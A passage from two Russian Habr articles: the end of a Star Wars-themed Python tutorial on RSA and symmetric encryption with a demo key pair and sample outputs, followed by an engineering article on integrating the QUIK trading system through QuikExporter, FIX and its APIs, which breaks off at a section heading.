Message was encrypted into: ed10e4c65358bb9e351c801c3b3200b21fa86a24021c317bb5c9d8b3f76bdf9f3a7d26781a22402f0e4f41ca831b6d2da9e1e6878c34c79ddc7959af3ae9fc2ba0cfff1c0180a7e0f637f1aa5b24507d552d5dfe7625e7b81d817b5882b2b19bb95f3988a03c78f850098dfc8e6089863deaa39b887eaea4c1d4ba006edaec90205d54b27ed4ac70ed75cdd01732e1176bf04218beb8ae742ff708a201a9d1cb57dd5f2e70dc3239208d23705f7a3aae3e315c4df6d73c871b66c4995cce5f19738f731cd58755d21ed92612c44197f875cddf3f7aa1d60e435ce1492679b9d60c4b8538f52408f321711ac1d2daa6dbbc33dc655abca10e2f5fd3ff27823995b9dcdb62c0bafc1963ab539ccb466f1c140479df34b0005f578f72fcdd76b17391332037b801f74f733a08
DECRIPTION
Success!
Encrypted hash is b0dbb35b28fbff258350a50c39282b73e31f408c9da937c81d8d48115b491026
Decrypted hash is b0dbb35b28fbff258350a50c39282b73e31f408c9da937c81d8d48115b491026
Длина 120 км
Ширина 120 км
Высота/глубина 120 км
МгС 10 МгС
Двигатель Субсветовой двигатель 30-5 (2)
Класс гиперпривода Класс 4.0
```
*Как видим, мы успешно зашифровали сообщение при помощи открытого ключа.
Запустите код несколько раз. Вы увидите, что каждый раз зашифрованная часть меняется. Это происходит потому что при шифровании мы применили режим Cipher FeedBack (AES.MODECFB), при котором блоки открытого текста смешиваются с блоками шифротекста. iv — вектор инициализации (подробнее про режим читайте [здесь](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B6%D0%B8%D0%BC_%D0%BE%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D0%BE%D0%B9_%D1%81%D0%B2%D1%8F%D0%B7%D0%B8_%D0%BF%D0%BE_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D1%82%D0%B5%D0%BA%D1%81%D1%82%D1%83)). При расшифровке сообщения мы видим, что хеш расшифрованного сообщения совпадает с хешем, который мы добавляли при шифровании. Это значит, что дешифрация прошла корректно.*
**Что такое хеш**
Хеш документа — это просто строка из символов, которая уникальна для какого-либо набора данных. При любом изменении данных хеш очень сильно меняется. Другими словами, хеш — это своеобразный «отпечаток пальца» для какого-либо набора данных.
Но что делать, если ключи шифрования будут по каким-то причинам скомпрометированы? Тогда расшифровать информацию может кто угодно.
В этом случае нам нужно как-то сменить ключи шифрования дистанционно по частоте, которая может прослушиваться противником. Будем считать, что ее уже слушают. Так каким же образом нам это сделать? Тут на помощь приходит другой метод под названием асимметричное шифрование (или криптографическая система с открытым ключом). В отличие от симметричного шифрования, при ней используется два ключа: открытый и закрытый. Сообщение шифруется открытым ключом, после этого расшифровать его можно только закрытым ключом. Открытый ключ при расшифровке будет бесполезен. Однако есть важный момент: закрытый ключ непременно должен быть из сгенерированной пары с открытым. Наличие открытого ключа одно из нескольких важных и интересных свойство асимметричного шифрования. То есть, мы можем передавать открытый ключ любым каналом и не бояться, что он будет применен для расшифровки сообщения.
Вместе с тем, применительно к нашей задаче есть один ньюанс — асимметричное шифрование подходит для небольших данных, например коротких сообщений. Мы можем только гадать об объеме данных, полученных разведкой. Мы, конечно, можем разбить все полученные данные на небольшие фрагменты и закодировать каждый из них закрытым ключом, но есть более оптимальный вариант решения. (Проблема разобрана [здесь](https://security.stackexchange.com/questions/33434/rsa-maximum-bytes-to-encrypt-comparison-to-aes-in-terms-of-security)).
**Решение**
> *Пользователь Akela\_wolf справедливо заметил, сгенерировать и отправить открытый ключ может кто угодно. Я внес некоторые коррективы в план.*
>
>
>
> Будет правильно, если до отправки агентов штаб сгенерирует несколько пар ключей и назначит каждому агенту закрытый ключ. Лучше сгенерировать именно несколько пар, чтобы у каждого агента был индивидуальный ключ. Это необходимо, чтобы точно персонифицировать владельца ключа.
>
> Тогда в случае компрометации ключей центр создаст новый СИММЕТРИЧНЫЙ ключ, закодирует его каждому агенту открытыми ключами и отправит по открытому каналу.
>
>
> **Общая схема решения**
> 
>
> 
>
>
>
>
>
>
>
**Старое решение**
1. Агент сгенерирует пару ключей (открытый и закрытый) на месте, затем отправит открытый ключ повстанческим силам;
2. В штабе сопротивления создадут новый ключ для СИММЕТРИЧНОГО шифрования;
3. Симметричный ключ закодируют при помощи открытого ключа, который прислал агент;
4. Зашифрованный симметричный ключ отправят агенту, который раскодирует его с помощью закрытого ключа.
*Обратите внимание на нашу передачу по открытому каналу:
1. Агент отправляет ОТКРЫТЫЙ ключ из пары, ЗАКРЫТЫЙ ключ находится у него;
2. Штаб сопротивления отправляет ключ симметричного шифрования, зашифрованный присланным агентом открытым ключом.*
Ни первое ни второе сообщение не представляют какой-либо ценности при перехвате.
Напишем код:
```
# Для генерации ключей мы будем использовать распространенный криптографический алгоритм RSA.
# Для хеширования данных используем также популярный алгоритм SHA256
from Crypto.PublicKey import RSA
# Напишем функцию для генерации ключей
def generate_keys(bits = 2048):
"""Generates the pair of private and public keys.
:param bits: Key length, or size (in bits)
of the RSA modulus (default 2048)
:return: private\_key, public\_key
"""
private\_key = RSA.generate(bits)
public\_key = private\_key.publickey()
return private\_key, public\_key
private\_key, public\_key = generate\_keys(bits = 2048)
```
**Давайте посмотрим, как выглядят ключи**
```
print(private_key.exportKey(format='PEM').decode())
print('\n')
print('#'*65)
print('\n')
print(public_key.exportKey(format='PEM').decode())
```
`-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA4JDLu7Vtvg2yqbH6Y0eJPfoEsOlKzgmOodqhA1CqkEG4OpKi
sGW7ciGP4v37GE6edHBCEy4UNkVQtnpPBjzTHvKd1pO70B84vD5OSrS7uNw2EYkj
d/ZwhrJMrcQKRwPkkM4OiewaaAaK0vPWJIKwlW61DY9X7LfNz7aOKMTbKnm1vdR0
919AV98FUmNoQBgka6nXFGmNbi7D43MtLwxBZIXfFupEiANSvOs+57hgaCho7OWM
GUOjLkG6HBscPhJ2W1H5DU9GjwL24ynTvKifgo1/2ue61MV1Pzh5CVaicJKNaRtg
Pd99gFhBGINsXV2X6Jh/W5nNsCddU4EI0AlO8wIDAQABAoIBAARM4YnjrIlSK9Sy
EtBp40frjMFyhjsx1ahlzmWI2utORt/gRPtJx3AlEmNPZ8qMXt5t8+X4IOz1INmN
uAuviH90N++O/q66mlSIgOlPUrT0ipiFXseCUZ9StMMzGNtJSMw5FfAwNEU/stLd
VoF2ezkxWIg88XsX/fn3Tfub4XKLvu4raJGcJ+Fo2GI9hYEGKnHhSuHvDHekTLlQ
z46O+cIwtehbFGcKesyK3zDD1uP5YLPIWpiqt1TgKjJzRF0l4ZJLk+RT7kU2pGIQ
mosOnr+06WyMIg724yQyAIwtS9X0czKBGUESrtTTb1HCXLeTwnncOTxh6q2z42LF
tn34+DECgYEA6EEp4oTvjfTQfUQPMByuAjF1hpdFHQqRymygiFgoF+Mg3QmL0w8j
/84H/q7s8FSx+3th8MK87bFq4lrry+h/mYwmvF5zZbhxcnl2uaX+KUPgpT6TgvAo
WOv2wc4BSaoo9DrxrZId86vpO2qbopw6gkBsvw47HSoQ+FSqXtZ0p8kCgYEA94Zj
b1ulctUjybiszO93TAjkzx3lU3yL+B1eZiQXtJa3mgG+ka1R/uMfr0NlT+Jzo0My
wHV30YRJDxziCrDol9OgSSU0sXwEcUxUIBLBwXLCp1EmMsYG9PB/x4OTWve35a8F
O+rMxuvWaZeIOfVCfL8UEcWweYaVdWIonJN+ltsCgYEAjeSZ2UlMLZce9RjqioNL
EA31dlfeoqJ9dYUuAn6RaB6cSk51vWlnnfXazo9CNIYaAsFbkcL3t+QHn+jaXEZc
BowocjbmG4Q20zBAB6XRBJbynSIA7yMYE1N9+uOHx+CMisGkO12krOUfZex4zzzR
RhhkF8ly9htoKL9ZIv20YXkCgYBzH3UF6PkVZJ5lhtgP5Nx2Z7iLwBrV7ppnBrnO
BcFkw6iXH3KT7KmzQ82LxWvMcMVZzLpBGyFkOAOG3OchE9DKNKpa+sv8NHMYguip
li+5mneAPFTozoOTznuPvtl9OLO2RuXHTVh6uFub9tdsJW8L+A8MiQagLwE6fDHp
SQxaewKBgQDIyzL1THpW3+AMNrOZuI/d3Em5wpGJiZbDSBRosvsfGm/sHaz4Ik5E
nWnftgktmsAD60eORTTh9/ww/nm7f3q9kzT8Sv1MmqeRXq9VFIOeP/+8SSE/7LzD
izlb5xEtVD8LuY54jHyiOxiZC++TQswMnOKKi0Gx26MDoO7Tx9akVw==
-----END RSA PRIVATE KEY-----
#################################################################
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4JDLu7Vtvg2yqbH6Y0eJ
PfoEsOlKzgmOodqhA1CqkEG4OpKisGW7ciGP4v37GE6edHBCEy4UNkVQtnpPBjzT
HvKd1pO70B84vD5OSrS7uNw2EYkjd/ZwhrJMrcQKRwPkkM4OiewaaAaK0vPWJIKw
lW61DY9X7LfNz7aOKMTbKnm1vdR0919AV98FUmNoQBgka6nXFGmNbi7D43MtLwxB
ZIXfFupEiANSvOs+57hgaCho7OWMGUOjLkG6HBscPhJ2W1H5DU9GjwL24ynTvKif
go1/2ue61MV1Pzh5CVaicJKNaRtgPd99gFhBGINsXV2X6Jh/W5nNsCddU4EI0AlO
8wIDAQAB
-----END PUBLIC KEY-----`
Как видите, ключи асимметричного шифрования представляют из себя длинные математически сгенерированные последовательности символов.
Итак, мы сгенерировали ключи. Теперь давайте напишем функцию для кодирования данных:
```
from Crypto.PublicKey import RSA # для асимметричного шифрования будем использовать распространенный алгоритм RSA.
from Crypto.Hash import SHA256 # Для хеширования данных используем также популярный алгоритм SHA256. Хеширование в данном
#случае нам нужно для проверки правильности раскодирования
from Crypto.Cipher import PKCS1_OAEP # протокол шифрования
def encrypt_message(message, public_key, verbose = True):
"""Encripts the message using public_key.
:param message: Message for encryption
:param public\_key: public\_key
:param verbose: Print description;
:return: Message encrypted with public\_key
"""
message\_hash = SHA256.new(message.encode()) # находим хеш сообщения.
cipher = PKCS1\_OAEP.new(public\_key)
message\_with\_hash = message.encode() + message\_hash.hexdigest().encode() # мы добавляем хеш сообщения в сообщение, чтобы при раскодировке сравнить его с хешем раскодированного сообщения
encrypted\_message = cipher.encrypt(message\_with\_hash)
if verbose:
print(f'Message: {message} was encrypted to\n{encrypted\_message.hex()}')
return encrypted\_message
def decrypt\_message(encrypted\_message, private\_key):
"""Decripts the message using private\_key and check it's hash
:param encrypted\_message: Encrypted message
:param private\_key: private\_key
:return: Message decripted with private\_key
"""
dsize = SHA256.digest\_size\*2
cipher = PKCS1\_OAEP.new(private\_key)
decrypted\_message\_with\_hesh = cipher.decrypt(encrypted\_message) # все сообщение (вместе с хешем)
decrypted\_message = decrypted\_message\_with\_hesh[:-dsize] # текстовая часть сообщения без хеша
digest = SHA256.new(decrypted\_message).hexdigest() # хеш расшифрованной части сообщения
if digest==decrypted\_message\_with\_hesh[-dsize:].decode(): # Если хеш расшифрованного сообщения и хеш, который мы добавили при шифровании равны, расшифровка правильная
print(f"Success!\nEncrypted hash is {decrypted\_message\_with\_hesh[-dsize:].decode()}\nDecrypted hash is {digest}")
return decrypted\_message.decode()
else:
print(f"Encryption was not correct: the hash of decripted message doesn't match with encrypted hash\nEncrypted hash is {decrypted\_message\_with\_hesh[-dsize:]}\nDecrypted hash is {digest}")
```
**Схема работы по шагам**
1. Агент генерирует пару ключей:
```
private_key, public_key = generate_keys()
```
2. Отправляет в штаб ОТКРЫТЫЙ ключ;
3. В штабе с помощью открытого ключа кодируют ключ для симметричного шифрования:
```
new_symmetric_key = 'SOME_KEY_asdfasdfasdfasdfsdfgrtwhetynt'
encr_msg = encrypt_message(new_symmetric_key, public_key)
```
**Вывод**
`Message: SOME_KEY_asdfasdfasdfasdfsdfgrtwhetynt was encrypted to
41e940507c96397e3feb4a53390c982633bb1775a52957996a8069bd22063086a0e831bf775a17909276aba0d0478ee6c953837c8ea5d20d40e1c8eb463aaa1bc5c93c71677b1a85e90439c9dbda8a98ce168acb38368155437c66815b84aa2fbdda0eb909e4e6079b4410c720eddd955ed048193bf87f8f9976a17ee32a58a71dfddf3db116343d949d29c25f72c511a440a50a5d4f1e01c37b24a1cb4127e191d3231328b2f120c7dbd0cb5bf19823f0978b8ed17d25952de4b146ef9724fff359eb2af503fdfd72b91525a5503b076ba9aaaeac55af3f8d210c12d579d45dd70362123c0b4b36ef9c2f7705e6f884a25553eb0e11e5077f11fa986d0ff280`
4. Эту длинную последовательность отправляют обратно агенту;
5. Агент дешифрует полученное сообщение при помощи закрытого ключа:
```
recieved_symmetric_key = decrypt_message(encr_msg, private_key)
print('\n')
print(f"New symmetric key is: {recieved_symmetric_key}")
```
**Вывод**
```
Success!
Encrypted hash is 42ad66445a05ac09e684bb21f9b487d95b9cfa11d02e0b459931321ee02f7c1c
Decrypted hash is 42ad66445a05ac09e684bb21f9b487d95b9cfa11d02e0b459931321ee02f7c1c
New symmetric key is: SOME_KEY_asdfasdfasdfasdfsdfgrtwhetynt
```
6. Затем с помощью нового симметричного ключа агент шифрует полученные данные:
```
message = """
Длина 120 км
Ширина 120 км
Высота/глубина 120 км
МгС 10 МгС
Двигатель Субсветовой двигатель 30-5 (2)
Класс гиперпривода Класс 4.0
"""
encr_message = symmetric_encrypt(message, recieved_symmetric_key, verbose = True)
```
**Вывод**
```
Message was encrypted into: 665968950814e0edf48bd80f368cda63ee0ac2b06173989b4bc239c02a064715e433d3e07f638d8e277e9b4bcd0d32c8c819483501066549a64c7ba8a29fa16a289c0283665cfbc2d1ff8ea8c4c4691b76ca430d9d1a26bfe38eb9d3c6ff398ea8926f44af13cf74a30f870f56bab3112374331b3a8bdfd5b1ca465604738e83b86481ca8852193c6c27db25690577d3e28c930d357abba6a3bf4c1f77f69dd066b933b60b353a7c44439baaabe9a58593efab6b410ee7ff4bbcc72dd07456a4f8c9a68c64e99a9151bc466f9daa2cdd3b4abcef7f87bc58caaef52a7811ce05cda5e03e9cba4b1537f7e6096b2385491a1c49a451373868f9951581643047d8f0c72e789943cc7112e00d06a4848919ee823bb18338e2b157c39b8911e518fdccdc8847a3e24be4cedad6
```
7. В штабе производят дешифровку:
```
print('DECRIPTION')
decr_message = symmetric_decrypt(encr_message, new_symmetric_key)
print(decr_message)
```
**Вывод**
```
DECRIPTION
Success!
Encrypted hash is b0dbb35b28fbff258350a50c39282b73e31f408c9da937c81d8d48115b491026
Decrypted hash is b0dbb35b28fbff258350a50c39282b73e31f408c9da937c81d8d48115b491026
Длина 120 км
Ширина 120 км
Высота/глубина 120 км
МгС 10 МгС
Двигатель Субсветовой двигатель 30-5 (2)
Класс гиперпривода Класс 4.0
```
**Вуаля!**
На данном абстрактном примере мы увидели работу распространенных алгоритмов шифрования. Симметричное и асимметричное шифрование, а также хеширование применяются [в работе веба](https://www.digicert.com/ssl-cryptography.htm), [электронной подписи](https://learnmeabitcoin.com/guide/digital_signatures), [блокчейне и криптовалютах](https://medium.com/icovo/digital-signatures-in-a-blockchain-digital-signatures-44b981b75413). Надеюсь, материал был полезен для понимания работы этих технологий.
### Послесловие
В итоге, разведке повстанцев удалось добыть точные сведения об уязвимости станции и пути до нее, присутствии Императора для осмотра, наличии энергощита и его источника на Эндоре. Империя вычислила шпионов, дезинформировала их о боеспособности станции. Станция также была отведена к спутнику Эндора, откуда была защищена щитом.
**Но мы-то знаем, чем все закончилось ;)** | https://habr.com/ru/post/452042/ | null | ru | null |
# Интеграция QUIK в инфраструктуру или API
Торговая система QUIK для большинства серьёзных игроков рынка является очень популярной системой предоставления своим клиентам интерфейса для торговли ценными бумагами. Но в большинстве своём внутренности этой системы, как и любого коммерческого продукта являются закрытыми, в связи с чем могут возникать проблемы интеграции во внутреннюю инфраструктуру предприятия. В этой статье будут рассмотрены возможные механизмы интеграции QUIK в системы предприятия являющегося клиентом брокера или самостоятельным брокером.
Введение
--------
DISCLAIMER: Все рассуждения и решения описанные в этой статье являются личной точкой зрения автора и могут не совпадать с точкой зрения разработчика продукта
С продуктами QUIK я познакомился более 15 лет назад, поэтому многие особенности продукта для меня являются привычными, но для большинства нюансы работы системы QUIK не всегда очевидны. Для того, чтобы понимать суть торговой системы и принцип её построения, можно обратиться к документации на сайте компании. Если коротко, то система построена по следующей схеме:
структура сервера QUIK.png* Вычислительное ядро + backend хранения настроек и данных(локальные файлы, MSSQL, экспериментально PostgreSQL)
* Сервисы административного управления
* Интерфейсы для подключения внешних модулей приёма/экспорта данных
* Клиентские интерфейсы
Большинство модулей системы являются лицензируемыми, поэтому без наличия специализированных лицензий описываемый в статье функционал может быть недоступен.
Некоторые особенности системы
-----------------------------
Не будем глубоко вдаваться во внутренности системы, но стоит отдельно упомянуть несколько очень важных моментов перед проработкой механизмов интеграции:
* Продукт существует только под ОС семейства Windows
* Сервер QUIK в процессе своего развития претерпевал множество изменений, которые очень сильно отразились на конечном продукте. Первая версия сервера QUIK с которой я столкнулся много лет назад, использовала для хранения данных Firebird/Interbase + BDE. В своё время это приводило к куче проблем с кодировками данных(KOI8R, CP866, CP1251, CP1252) при работе системы. И к сожалению даже спустя десятки лет системе требуются настройки BDE в системе и до сих пор есть проблемы с кодировками, что может стать неожиданностью для администраторов
* Неявной проблемой является наследование программным кодом QUIK библиотек Microsoft Visual C++ 2005 и выше. При этом для разных продуктов системы требуются разные версии библиотек, что при эксплуатации нескольких продуктов на одном сервере усложняет унификацию конфигурации развёртывания
* Множество продуктов линейки QUIK используют БД MS SQL для хранения данных и драйверы подключения к БД варьируются от нативных SQL Client до последних ODBC драйверов с поддержкой механизмов отказоустойчивости. При этом продукты могут работать в рамках одного сервера, но с разными версиями драйверов, что может вносить путаницу в настройки
* У системы QUIK отсутствуют встроенные механизмы кластеризации (внешние механизмы репликаци имеются)
Рассмотрим подробнее части системы, так или иначе участвующие в интеграции
Транспортная часть
------------------
Транспортная часть представляет собой проприетарный протокол, защищённый шифрованием. Ключи шифрования трафика формируются при помощи различных алгоритмов в виде подключаемых библиотек. На моей памяти использовалось несколько алгоритмов/библиотек формирования ключей:
* qcrypto32(основной)
* signal-com
* Multi Purpose SSPI
* RSA
* Placebo
Полученные при создании оригинального пакета KeyGen ключи имеют внутреннее имя и пароль для расшифровки. При использовании нескольких ключей в клиенте и сервисах, возможен масочный поиск по имени ключа. В случаях, когда защита соединения или подключения является лишней, используется можно использовать библиотеку **Placebo\_pr.dll,** отключающую защиту.
Клиентское место
----------------
Система имеет определённый набор клиентских приложений, представленных на странице <https://arqatech.com/ru/products/quik/terminals/user-applications/>. Но полноценная клиентская часть реализована в виде персонального рабочего места, устанавливаемого на рабочую станцию участника торгов(клиента брокера). Дистрибутив персонального рабочего места(терминала) распространяется брокерами по запросу клиента и содержит в себе преднастроенный дистрибутив, в который перед началом работы необходимо импортировать ключи доступа. Интеграционное взаимодействие стационарного клиента с внешними системами доступно через подключаемые механизмы LUA и DDE. Через LUA можно полноценно работать с Client QuikAPI, через DDE выгружать информацию во внешние приёмники. Учитывая INTRADAY парадигму работы QUIK сервера, связанную в ежедневными перезагрузками для обнуления состояния системы, а также возможные разрывы соединения, оба механизма взаимодействия требуют присутствия сотрудника на рабочем месте для контроля работы при переподключении клиента.
Небольшая ремарка про старт клиентского места.
При старте клиента первым делом получается текущий(на момент старта) срез данных с сервера, согласно установленных администратором системы пользовательских настроек в административном модуле. Передача данных происходит блоками. До окончания полного приёма блока данных, клиент не сможет показывать вам какую-либо информацию в реальном режиме времени. По мере загрузки блоков данных, автоматически заполняются интерфейсные таблицы клиента и активируется передача во внешние программные интерфейсы. Чем больший объём данных(бумаги, счета) вам доступен, тем медленнее будет происходить старт клиента. При переподключении клиента к серверу часть получаемой информации может пропускаться в зависимости от наличия в кеше.
**Скорость получения данных для клиентов сервера по умолчанию ограничена настройками сервера. Скорость получения измеряется в элементах в секунду. Элементом является любая передаваемая запись (заявка, сделка, котировка, изменение портфеля, прочее). Данный параметр можно изменять в настройках сервера только при уверенности, что клиенты выдержат бОльший поток данных, т.к. настройка является глобальной.**
Quik Exporter
-------------
Модуль QuikExporter является headless readonly клиентом системы QUIK и обладает всеми возможностями клиентского места в части получения информации от сервера. Внутренние механизмы QuikExporter позволяют настроить экспорт по ODBC в базу данных(mssql,mysql, pgsql). Так же есть возможность написания своей библиотеки, которая позволит выгружать данные во внешний источник. Выгрузка в БД сопряжена с рядом особенностей, таких как:
* отсутствие bulk insert. На каждый полученный элемент данных вызывается функция БД, хранимая процедура, либо INSERT в таблицу. Это очень сильно повышает транзакционную нагрузку на БД
* Кодировка данных по умолчанию "WIN-1251", что вызывает проблемы с Unicode символами при обработке данных
* Настройки ODBC влияют на работу с case-sensitive названиями объектов
Также одной из особенностей является то, что QUIK Exporter не всегда получает RealTime данные, вместо этого он получает порционные агрегированные данные предобработанные сервером.
Основные получаемые через QUIK Exporter данные можно разделить на несколько частей ([полный список](https://arqatech.com/ru/products/quik/modules/integration-solutions/market-data-export/)):
1. Данные связанные с инструментами (список классов, список бумаг, данные котировок)
2. Данные связанные с портфелем клиента (торговые лимиты и остатки на счетах, текущая оценка портфеля)
3. Данные связанные со сделками (заявки, сделки, обезличенные сделки)
Каждая организация в зависимости от построения системы торговли самостоятельно выбирает нужный набор данных и атрибутивный состав для получения.
Fix интерфейс
-------------
Fix интерфейс это отдельный модуль системы QUIK, обеспечивающий интеграционное взаимодействие и автоматизацию торговли через внешние системы. У модуля есть некоторые особенности о которых нужно знать:
* При подключении можно использовать 2 интерфейса: торговый(канал заявок) + маркетдата
* Интерфейс маркетдаты поддерживает realtime потоки заявок(order book) и котировок(quotes/rates)
* Атрибутивный состав трансляции котировок немного отличается от глобального стандарта и не содержит объем бумаг
* Данные об обработке заявки сервером или биржей могут вернуться в систему через канал экспортёра и канал Fix адаптера в разное время. Об этом нужно помнить при построении механизмов учёта сделок
* При большом объёме данных возможны задержки в передаче информации. Плюс к этому стоит расчитывать каналы связи в соответствии с возможными объёмами данных.
QUIKAPI
-------
Полноценный интерфейс для работы с сервером QUIK через вызов функций из программного кода(c,с++,c#). Механизмы API разделены по продуктам и распространяются среди брокеров с подробным описанием интеграции. Использование QUIKAPI позволяет производить низкоуровневое взаимодействие с API сервера, но может иметь высокий overhead по сравнению с другими решениями
Файлы данных сервера и клиента
------------------------------
Клиентское место и сервер хранят промежуточные данные в локальных ".ik" файлах с закрытым форматом. Все конфигурационные файлы созданы в .ini формате. Параметры подключения к серверу QUIK для большинства сервисов по умолчанию хранятся в открытом виде. Опционально часть сервисов позволяет зашифровать чувствительные данные подключения к серверу в конфигурационных файлах.
В большинстве своём взаимодействие с файлами сервера или клиента не является необходимым, за исключением момента с получением исторических данных.
Хранение данных расчитанных биржевых свечей по инструментам реализовано в виде специализированной структуры данных(об этом будет информация ниже), имеет ограниченную глубину и отличается по формату хранения на сервере и на клиенте.
Попробуем рассмотреть различные механизмы интеграции с корпоративными системами имеющими QUIK в качестве торговой системы.
Взаимодействие и интеграция с продуктами QORT в статье не рассматривается. Интеграцию по DDE и LUA в рамках корпоративной интеграции мы также не рассматриваем, т.к. она больше расчитана на клиентское место и малоприменима в корп.среде.
Интеграция с внутренними расчётными системами
---------------------------------------------
Множество брокеров имеют внутренние системы учёта, в рамках которых ведётся бумажный портфель клиента, расчитываются комиссии, обеспечивается оперативный контроль за финансовым состоянием счетов клиента.
Основными общепринятыми механизмами интеграции являются:
* использование QuikExporter с промежуточной информационной базой, в которую выгружаются данные о портфеле, сделках, заявках, бумагах и другой торговой информации
* ручной либо автоматический (через QUIK Limits API) механизм корректировки портфеля клиента в торговой системе
* интеграция через QUIKFix для интерактивных интерфейсов торговли/визуализации выдаваемых конечному клиенту, получения маркетдаты, каналов оповещения о сделках/заявках.
Начнём пожалуй с данных о портфеле пользователя.
Портфель клиента состоит из имеющегося объёма денежных средств в валюте торгов, списка и количества имеющихся бумаг в разрезе нескольких торговых дней. У большинства брокеров QUIK является системой "одного торгового дня", в которой хранятся актуальные данные только за текущий торговый день. При старте торгового дня, серверу(в качестве параметра запуска) передаётся статичный файл с расчитанными клиентскими данными, содержащий список и объём бумаг, а также финансовое состояние портфеля в разных валютах. При падении/выключении сервера, его старт без параметров приведёт к нулевым лимитам у всех клиентов. Для загрузки лимитов клиентов в этом случае необходимо с администраторского места выбрать и загрузить вручную файл с лимитами, либо запустить сервер с новым файлом лимитов. Если загружаемый файл с лимитами не будет соответствовать последнему состоянию портфеля клиента на момент сбоя/останова, то возможны проблемы с превышением лимитов торговли.
Использование внутреннего механизма автоматического пересчёта стоимости портфеля, опираясь на текущий быстро изменяющийся биржевой курс, может привести к лавинному повышению нагрузки на сервер и как следствие к сбою. В связи с этим, механизм зачастую либо выключают, либо устанавливают фиксированный курс или используют альтернативные варианта пересчёта.
Для корректировки остатков/позиции на сервере QUIK используется два доступных механизма. Первый механизм это использование административной консоли(клиента) с запущенным в ней механизмом периодического чтения файла на сетевом или локальном ресурсе. Данный метод может давать сбои, т.к. клиент QUIK опрашивая файл открывает его в эксклюзивном доступе, при котором запись в файл(добавление данных о корректировке) недоступна. Размер файла при этом может быть достаточно большим в зависимости от количества операций корректировки и его чтение может занимать долгое время. Вторым механизмом является использование QUIK Limits API по управлению лимитами. Модуль управления лимитами представляет собой подключаемую библиотеку, которую можно использовать в разрабатываемых внутренних продуктах. Механизм является более универсальным, за исключением того, что разрабатываемый сервис так же является клиентом QUIK и подвержен проблемам с предварительной загрузкой данных(см. ниже).
Второй проблемой механизма является отсутствие блочных операций и необходимость точной синхронизации с торговой системой при корректировке остатков, т.к. изменения происходят напрямую во внутренних таблицах данных QUIK. Если между фиксацией остатка и командой корректировки произойдёт транзакция, то возможна установка некорректных значений лимитов для клиента. Поэтому стоит вести offline портфель в соседней расчётной системе для дополнительного контроля.
Итак вернёмся к интеграции. При использовании QuikExporter в качестве промежуточного механизма получения данных о клиентском портфеле с сервера QUIK, вторым по важности после устойчивой работы сервера, является обеспечение постоянного соединения между QuikExporter и сервером QUIK. Как было описано ранее, QuikExporter является headless readonly клиентом сервера QUIK. Сервис является stateless и не сохраняет свои данные или состояние при останове/падении/пропадании соединения. Также необходимо помнить, что объём передаваемых данных в сторону клиентов, так и в QuikExporter ограничен для обеспечения стабильности работы.
Попробуем немного посчитать. У нас есть 10000 клиентов, у каждого из них 3 счёта в валюте (рубли, доллары, евро). Плюс к этому портфель на 30 бумаг. При этом лимиты у нас существуют в двух днях(Т0 и Т+). 10000\*3\*2+10000\*30\*2 = 60000+600000 = 660000 элементов. Пропускная способность не сильно производительного mssql сервера примерно 1500-2000 транзакций в секунду. Итого для загрузки информации о портфелях в промежуточную базу нужно 660000/2000 = 330 секунд, это 5 с половиной минут. Можно бесконечно увеличивать мощность, но максимум того, что мы достигли, это примерно 9-11к вставок в секунду(при разгоне сервера QUIK) в режиме процедурной или инкрементальной вставки в БД. Использование механизмов группировки и блочной вставки позволило поднять скорость до 25к вставок в секунду. Использование внешней библиотеки позволяет увеличить поток до 50к элементов в секунду. Необходимо также помнить, что большое влияние на работу с БД оказывает атрибутивный состав элемента. Например для описания параметров бумаги существует более 60 полей, но не все они нужны и не всегда нужны.
Кстати о полях.
В пакете QuikExporter находится пример исходного кода для создания собственной библиотеки расширения для экспорта данных на c++. Библиотека собирается с SDK 8.1 32х битной или 64битной версии в зависимости от разрядности пакета и подключается в QuikExporter. В рамках внутреннего движка QuikExporter существует жёсткая связка полей и их типизации описанная в сопровождающей пакет документации. Согласно перечисленным в конфигурационном файле атрибутам элемента, которые необходимо передать в приёмник информации, внутренний механизм на каждый атрибут вызывает свою функцию для каждого типа данных, формирующую часть пакета для передачи. В связи с этим, чем длиннее список атрибутов, тем больше происходит вызовов. Все вызовы являются stateless, поэтому для формирования конечного элемента необходимо постоянно добавлять части в буфер с данными, перед отправкой конечной системе. При разработке библиотеки необходимо придерживаться методологии потокобезопасной разработки, т.к. экспортёр умеет отдавать данные в несколько потоков и если работу потоков смешать, ничего хорошего не получится.
При экспорте большого объёма данных через QUIK Exporter и невозможности приёмника принять весь приходящий поток данных, выделение памяти для QUIK Exporter начинает "распухать", что приводит к падению производительности и чрезмерной нагрузке на сервер где запущен пакет. К сожалению QUIK Exporter не умеет отдавать память обратно, поэтому либо придётся ожидать конца дня для перезапуска, либо перезапустить его во время паузы в торгах.
Как же повысить производительность и стабильность?
1. Изменить подход к получению данных из QUIK. Например подключить очереди Kafka к QuikExporter в виде внешней библиотеки(до 50к элементов в секунду). Можно использовать внешнюю предварительную буферизацию и вставлять данные в базу блоками(до 30к элементов в секунду). Можно отгружать данные по ODBC вместо MS SQL в PostgreSQL с дальнейшей передачей в fdw. Скорость в этом случае зависит от приёмника и метода трансформации данных(trigger, function, publish/subscribe).
2. Изменить подход к хранению данных клиентов. Читать данные выдаваемые в интерфейсе пользователя не из SQL базы, а из In-Memory базы, убрав лишнюю транзакционную нагрузку на БД
3. Вставку данных в случае БД перевести на процедурный Upsert/Merge, но при этом нужны эффективно построенные индексы, которые при большом объёме данных могут стать серьёзной проблемой
4. Обеспечить резервирование инстансов QUIK Exporter, по возможности расположив один из них рядом с QUIK для аварийного получения дампа со значениями портфелей
5. Для управления корректировкой лимитов перейти на QUIK Limits API + очереди, исключив файловые операции
6. Разделить нагрузку и доставку данных между несколькими экземплярами QUIK Exporter
Интеграция со информационно/статистическими системами
-----------------------------------------------------
